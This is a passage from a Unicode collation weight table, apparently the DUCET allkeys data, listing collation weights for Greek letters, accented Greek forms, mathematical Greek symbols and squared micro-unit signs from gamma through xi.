ITALIC CAPITAL GAMMA -1D5E ; [.1FBB.0020.0014] # MODIFIER LETTER SMALL GREEK GAMMA -1D67 ; [.1FBB.0020.0015] # GREEK SUBSCRIPT SMALL LETTER GAMMA -1D26 ; [.1FBC.0020.0002] # GREEK LETTER SMALL CAPITAL GAMMA -03B4 ; [.1FBD.0020.0002] # GREEK SMALL LETTER DELTA -1D6C5 ; [.1FBD.0020.0005] # MATHEMATICAL BOLD SMALL DELTA -1D6FF ; [.1FBD.0020.0005] # MATHEMATICAL ITALIC SMALL DELTA -1D739 ; [.1FBD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL DELTA -1D773 ; [.1FBD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL DELTA -1D7AD ; [.1FBD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL DELTA -0394 ; [.1FBD.0020.0008] # GREEK CAPITAL LETTER DELTA -1D6AB ; [.1FBD.0020.000B] # MATHEMATICAL BOLD CAPITAL DELTA -1D6E5 ; [.1FBD.0020.000B] # MATHEMATICAL ITALIC CAPITAL DELTA -1D71F ; [.1FBD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL DELTA -1D759 ; [.1FBD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL DELTA -1D793 ; [.1FBD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL DELTA -1D5F ; [.1FBD.0020.0014] # MODIFIER LETTER SMALL DELTA -03B5 ; [.1FBE.0020.0002] # GREEK SMALL LETTER EPSILON -03F5 ; [.1FBE.0020.0004] # GREEK LUNATE EPSILON SYMBOL -1D6C6 ; [.1FBE.0020.0005] # MATHEMATICAL BOLD SMALL EPSILON -1D6DC ; [.1FBE.0020.0005] # MATHEMATICAL BOLD EPSILON SYMBOL -1D700 ; [.1FBE.0020.0005] # MATHEMATICAL ITALIC SMALL EPSILON -1D716 ; [.1FBE.0020.0005] # MATHEMATICAL ITALIC EPSILON SYMBOL -1D73A ; [.1FBE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL EPSILON -1D750 ; [.1FBE.0020.0005] # MATHEMATICAL BOLD ITALIC EPSILON SYMBOL -1D774 ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL EPSILON -1D78A ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL -1D7AE ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL EPSILON -1D7C4 ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL -0395 ; [.1FBE.0020.0008] # GREEK CAPITAL LETTER EPSILON -1D6AC ; [.1FBE.0020.000B] # MATHEMATICAL BOLD CAPITAL EPSILON -1D6E6 ; [.1FBE.0020.000B] # MATHEMATICAL ITALIC CAPITAL EPSILON -1D720 ; [.1FBE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL EPSILON -1D75A ; [.1FBE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL EPSILON -1D794 ; [.1FBE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL EPSILON -1F10 ; [.1FBE.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER EPSILON WITH PSILI -1F18 ; [.1FBE.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI -1F14 ; [.1FBE.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA -1F1C ; [.1FBE.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA -1F12 ; [.1FBE.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA -1F1A ; [.1FBE.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA -1F11 ; [.1FBE.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER EPSILON WITH DASIA -1F19 ; [.1FBE.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA -1F15 ; [.1FBE.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA -1F1D ; [.1FBE.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA -1F13 ; [.1FBE.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA -1F1B ; [.1FBE.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA -03AD ; [.1FBE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH TONOS -1F73 ; [.1FBE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH OXIA -0388 ; [.1FBE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH TONOS -1FC9 ; [.1FBE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH OXIA -1F72 ; [.1FBE.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH VARIA -1FC8 ; [.1FBE.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH VARIA -03DD ; [.1FBF.0020.0002] # GREEK SMALL LETTER DIGAMMA -1D7CB ; [.1FBF.0020.0005] # MATHEMATICAL BOLD SMALL DIGAMMA -03DC ; [.1FBF.0020.0008] # GREEK LETTER DIGAMMA -1D7CA ; [.1FBF.0020.000B] # MATHEMATICAL BOLD CAPITAL DIGAMMA -0377 ; [.1FC0.0020.0002] # GREEK SMALL LETTER PAMPHYLIAN DIGAMMA -0376 ; [.1FC0.0020.0008] # GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA -03DB ; [.1FC1.0020.0002] # GREEK SMALL LETTER STIGMA -03DA ; [.1FC1.0020.0008] # GREEK LETTER STIGMA -03B6 ; [.1FC2.0020.0002] # GREEK SMALL LETTER ZETA -1D6C7 ; [.1FC2.0020.0005] # MATHEMATICAL BOLD SMALL ZETA -1D701 ; [.1FC2.0020.0005] # MATHEMATICAL ITALIC SMALL ZETA -1D73B ; [.1FC2.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ZETA -1D775 ; [.1FC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ZETA -1D7AF ; [.1FC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ZETA -0396 ; [.1FC2.0020.0008] # GREEK CAPITAL LETTER ZETA -1D6AD ; [.1FC2.0020.000B] # MATHEMATICAL BOLD CAPITAL ZETA -1D6E7 ; [.1FC2.0020.000B] # MATHEMATICAL ITALIC CAPITAL ZETA -1D721 ; [.1FC2.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ZETA -1D75B ; [.1FC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ZETA -1D795 ; [.1FC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ZETA -0371 ; [.1FC3.0020.0002] # GREEK SMALL LETTER HETA -0370 ; [.1FC3.0020.0008] # GREEK CAPITAL LETTER HETA -03B7 ; [.1FC4.0020.0002] # GREEK SMALL LETTER ETA -1D6C8 ; [.1FC4.0020.0005] # MATHEMATICAL BOLD SMALL ETA -1D702 ; [.1FC4.0020.0005] # MATHEMATICAL ITALIC SMALL ETA -1D73C ; [.1FC4.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ETA -1D776 ; [.1FC4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ETA -1D7B0 ; [.1FC4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ETA -0397 ; [.1FC4.0020.0008] # GREEK CAPITAL LETTER ETA -1D6AE ; [.1FC4.0020.000B] # MATHEMATICAL BOLD CAPITAL ETA -1D6E8 ; [.1FC4.0020.000B] # MATHEMATICAL ITALIC CAPITAL ETA -1D722 ; [.1FC4.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ETA -1D75C ; [.1FC4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ETA -1D796 ; [.1FC4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ETA -1F20 ; [.1FC4.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ETA WITH PSILI -1F28 ; [.1FC4.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ETA WITH PSILI -1F24 ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA -1F2C ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA -1F94 ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI -1F9C ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI -1F22 ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA -1F2A ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA -1F92 ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI -1F9A ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI -1F26 ; [.1FC4.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI -1F2E ; [.1FC4.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI -1F96 ; [.1FC4.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI -1F9E ; [.1FC4.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI -1F90 ; [.1FC4.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI -1F98 ; [.1FC4.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI -1F21 ; [.1FC4.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ETA WITH DASIA -1F29 ; [.1FC4.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ETA WITH DASIA -1F25 ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA -1F2D ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA -1F95 ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI -1F9D ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI -1F23 ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA -1F2B ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA -1F93 ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI -1F9B ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI -1F27 ; [.1FC4.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI -1F2F ; [.1FC4.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI -1F97 ; [.1FC4.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI -1F9F ; [.1FC4.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI -1F91 ; [.1FC4.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI -1F99 ; [.1FC4.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI -03AE ; [.1FC4.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH TONOS -1F75 ; [.1FC4.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH OXIA -0389 ; [.1FC4.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH TONOS -1FCB ; [.1FC4.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH OXIA -1FC4 ; [.1FC4.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI -1F74 ; [.1FC4.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH VARIA -1FCA ; [.1FC4.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH VARIA -1FC2 ; [.1FC4.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI -1FC6 ; [.1FC4.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI -1FC7 ; [.1FC4.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI -1FC3 ; [.1FC4.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI -1FCC ; [.1FC4.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI -03B8 ; [.1FC5.0020.0002] # GREEK SMALL LETTER THETA -03D1 ; [.1FC5.0020.0004] # GREEK THETA SYMBOL -1D6C9 ; [.1FC5.0020.0005] # MATHEMATICAL BOLD SMALL THETA -1D6DD ; [.1FC5.0020.0005] # MATHEMATICAL BOLD THETA SYMBOL -1D703 ; [.1FC5.0020.0005] # MATHEMATICAL ITALIC SMALL THETA -1D717 ; [.1FC5.0020.0005] # MATHEMATICAL ITALIC THETA SYMBOL -1D73D ; [.1FC5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL THETA -1D751 ; [.1FC5.0020.0005] # MATHEMATICAL BOLD ITALIC THETA SYMBOL -1D777 ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL THETA -1D78B ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD THETA SYMBOL -1D7B1 ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL THETA -1D7C5 ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC THETA SYMBOL -0398 ; [.1FC5.0020.0008] # GREEK CAPITAL LETTER THETA -03F4 ; [.1FC5.0020.000A] # GREEK CAPITAL THETA SYMBOL -1D6AF ; [.1FC5.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA -1D6B9 ; [.1FC5.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA SYMBOL -1D6E9 ; [.1FC5.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA -1D6F3 ; [.1FC5.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA SYMBOL -1D723 ; [.1FC5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA -1D72D ; [.1FC5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA SYMBOL -1D75D ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA -1D767 ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA SYMBOL -1D797 ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA -1D7A1 ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA SYMBOL -1DBF ; [.1FC5.0020.0014] # MODIFIER LETTER SMALL THETA -03B9 ; [.1FC6.0020.0002] # GREEK SMALL LETTER IOTA -1FBE ; [.1FC6.0020.0002] # GREEK PROSGEGRAMMENI -037A ; [.1FC6.0020.0004] # GREEK YPOGEGRAMMENI -1D6CA ; [.1FC6.0020.0005] # MATHEMATICAL BOLD SMALL IOTA -1D704 ; [.1FC6.0020.0005] # MATHEMATICAL ITALIC SMALL IOTA -1D73E ; [.1FC6.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL IOTA -1D778 ; [.1FC6.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL IOTA -1D7B2 ; [.1FC6.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL IOTA -0399 ; [.1FC6.0020.0008] # GREEK CAPITAL LETTER IOTA -1D6B0 ; [.1FC6.0020.000B] # MATHEMATICAL BOLD CAPITAL IOTA -1D6EA ; [.1FC6.0020.000B] # MATHEMATICAL ITALIC CAPITAL IOTA -1D724 ; [.1FC6.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL IOTA -1D75E ; [.1FC6.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL IOTA -1D798 ; [.1FC6.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL IOTA -1F30 ; [.1FC6.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER IOTA WITH PSILI -1F38 ; [.1FC6.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI -1F34 ; [.1FC6.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND OXIA -1F3C ; [.1FC6.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA -1F32 ; [.1FC6.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND VARIA -1F3A ; [.1FC6.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA -1F36 ; [.1FC6.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI -1F3E ; [.1FC6.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI -1F31 ; [.1FC6.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER IOTA WITH DASIA -1F39 ; [.1FC6.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA -1F35 ; [.1FC6.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND OXIA -1F3D ; [.1FC6.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA -1F33 ; [.1FC6.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND VARIA -1F3B ; [.1FC6.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA -1F37 ; [.1FC6.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI -1F3F ; [.1FC6.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI -03AF ; [.1FC6.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH TONOS -1F77 ; [.1FC6.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH OXIA -038A ; [.1FC6.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH TONOS -1FDB ; [.1FC6.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH OXIA -1F76 ; [.1FC6.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH VARIA -1FDA ; [.1FC6.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH VARIA -1FD0 ; [.1FC6.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER IOTA WITH VRACHY -1FD8 ; [.1FC6.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER IOTA WITH VRACHY -1FD6 ; [.1FC6.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PERISPOMENI -03CA ; [.1FC6.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA -03AA ; [.1FC6.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER IOTA WITH DIALYTIKA -0390 ; [.1FC6.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS -1FD3 ; [.1FC6.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA -1FD2 ; [.1FC6.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA -1FD7 ; [.1FC6.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI -1FD1 ; [.1FC6.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER IOTA WITH MACRON -1FD9 ; [.1FC6.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER IOTA WITH MACRON -03F3 ; [.1FC7.0020.0002] # GREEK LETTER YOT -037F ; [.1FC7.0020.0008] # GREEK CAPITAL LETTER YOT -03BA ; [.1FC8.0020.0002] # GREEK SMALL LETTER KAPPA -03F0 ; [.1FC8.0020.0004] # GREEK KAPPA SYMBOL -1D6CB ; [.1FC8.0020.0005] # MATHEMATICAL BOLD SMALL KAPPA -1D6DE ; [.1FC8.0020.0005] # MATHEMATICAL BOLD KAPPA SYMBOL -1D705 ; [.1FC8.0020.0005] # MATHEMATICAL ITALIC SMALL KAPPA -1D718 ; [.1FC8.0020.0005] # MATHEMATICAL ITALIC KAPPA SYMBOL -1D73F ; [.1FC8.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL KAPPA -1D752 ; [.1FC8.0020.0005] # MATHEMATICAL BOLD ITALIC KAPPA SYMBOL -1D779 ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL KAPPA -1D78C ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD KAPPA SYMBOL -1D7B3 ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL KAPPA -1D7C6 ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC KAPPA SYMBOL -039A ; [.1FC8.0020.0008] # GREEK CAPITAL LETTER KAPPA -1D6B1 ; [.1FC8.0020.000B] # MATHEMATICAL BOLD CAPITAL KAPPA -1D6EB ; [.1FC8.0020.000B] # MATHEMATICAL ITALIC CAPITAL KAPPA -1D725 ; [.1FC8.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL KAPPA -1D75F ; [.1FC8.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL KAPPA -1D799 ; [.1FC8.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL KAPPA -03D7 ; [.1FC8.0020.0004][.1FB9.0020.0004][.1FC6.0020.0004] # GREEK KAI SYMBOL -03CF ; [.1FC8.0020.000A][.1FB9.0020.0004][.1FC6.0020.0004] # GREEK CAPITAL KAI SYMBOL -03BB ; [.1FC9.0020.0002] # GREEK SMALL LETTER LAMDA -1D6CC ; [.1FC9.0020.0005] # MATHEMATICAL BOLD SMALL LAMDA -1D706 ; [.1FC9.0020.0005] # MATHEMATICAL ITALIC SMALL LAMDA -1D740 ; [.1FC9.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL LAMDA -1D77A ; [.1FC9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL LAMDA -1D7B4 ; [.1FC9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL LAMDA -039B ; [.1FC9.0020.0008] # GREEK CAPITAL LETTER LAMDA -1D6B2 ; [.1FC9.0020.000B] # MATHEMATICAL BOLD CAPITAL LAMDA -1D6EC ; [.1FC9.0020.000B] # MATHEMATICAL ITALIC CAPITAL LAMDA -1D726 ; [.1FC9.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL LAMDA -1D760 ; [.1FC9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL LAMDA -1D79A ; [.1FC9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL LAMDA -1D27 ; [.1FCA.0020.0002] # GREEK LETTER SMALL CAPITAL LAMDA -03BC ; [.1FCB.0020.0002] # GREEK SMALL LETTER MU -00B5 ; [.1FCB.0020.0004] # MICRO SIGN -1D6CD ; [.1FCB.0020.0005] # MATHEMATICAL BOLD SMALL MU -1D707 ; [.1FCB.0020.0005] # MATHEMATICAL ITALIC SMALL MU -1D741 ; [.1FCB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL MU -1D77B ; [.1FCB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL MU -1D7B5 ; [.1FCB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL MU -039C ; [.1FCB.0020.0008] # GREEK CAPITAL LETTER MU -1D6B3 ; [.1FCB.0020.000B] # MATHEMATICAL BOLD CAPITAL MU -1D6ED ; [.1FCB.0020.000B] # MATHEMATICAL ITALIC CAPITAL MU -1D727 ; [.1FCB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL MU -1D761 ; [.1FCB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL MU -1D79B ; [.1FCB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL MU -3382 ; [.1FCB.0020.001C][.1C47.0020.001D] # SQUARE MU A -338C ; [.1FCB.0020.001C][.1CE5.0020.001D] # SQUARE MU F -338D ; [.1FCB.0020.001C][.1CF4.0020.001C] # SQUARE MU G -3395 ; [.1FCB.0020.001C][.1D77.0020.001C] # SQUARE MU L -339B ; [.1FCB.0020.001C][.1DAA.0020.001C] # SQUARE MU M -33B2 ; [.1FCB.0020.001C][.1E71.0020.001C] # SQUARE MU S -33B6 ; [.1FCB.0020.001C][.1EE3.0020.001D] # SQUARE MU V -33BC ; [.1FCB.0020.001C][.1EF5.0020.001D] # SQUARE MU W -03BD ; [.1FCC.0020.0002] # GREEK SMALL LETTER NU -1D6CE ; [.1FCC.0020.0005] # MATHEMATICAL BOLD SMALL NU -1D708 ; [.1FCC.0020.0005] # MATHEMATICAL ITALIC SMALL NU -1D742 ; [.1FCC.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL NU -1D77C ; [.1FCC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL NU -1D7B6 ; [.1FCC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL NU -039D ; [.1FCC.0020.0008] # GREEK CAPITAL LETTER NU -1D6B4 ; [.1FCC.0020.000B] # MATHEMATICAL BOLD CAPITAL NU -1D6EE ; [.1FCC.0020.000B] # MATHEMATICAL ITALIC CAPITAL NU -1D728 ; [.1FCC.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL NU -1D762 ; [.1FCC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL NU -1D79C ; [.1FCC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL NU -03BE ; [.1FCD.0020.0002] # GREEK SMALL LETTER XI -1D6CF ; [.1FCD.0020.0005] # MATHEMATICAL BOLD SMALL XI -1D709 ; [.1FCD.0020.0005] # MATHEMATICAL ITALIC SMALL XI -1D743 ; [.1FCD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL XI -1D77D ; [.1FCD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL XI -1D7B7 ; [.1FCD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL XI -039E ; [.1FCD.0020.0008] # GREEK CAPITAL LETTER XI -1D6B5 ; [.1FCD.0020.000B] # MATHEMATICAL BOLD CAPITAL XI -1D6EF ; [.1FCD.0020.000B] # MATHEMATICAL ITALIC CAPITAL XI -1D729 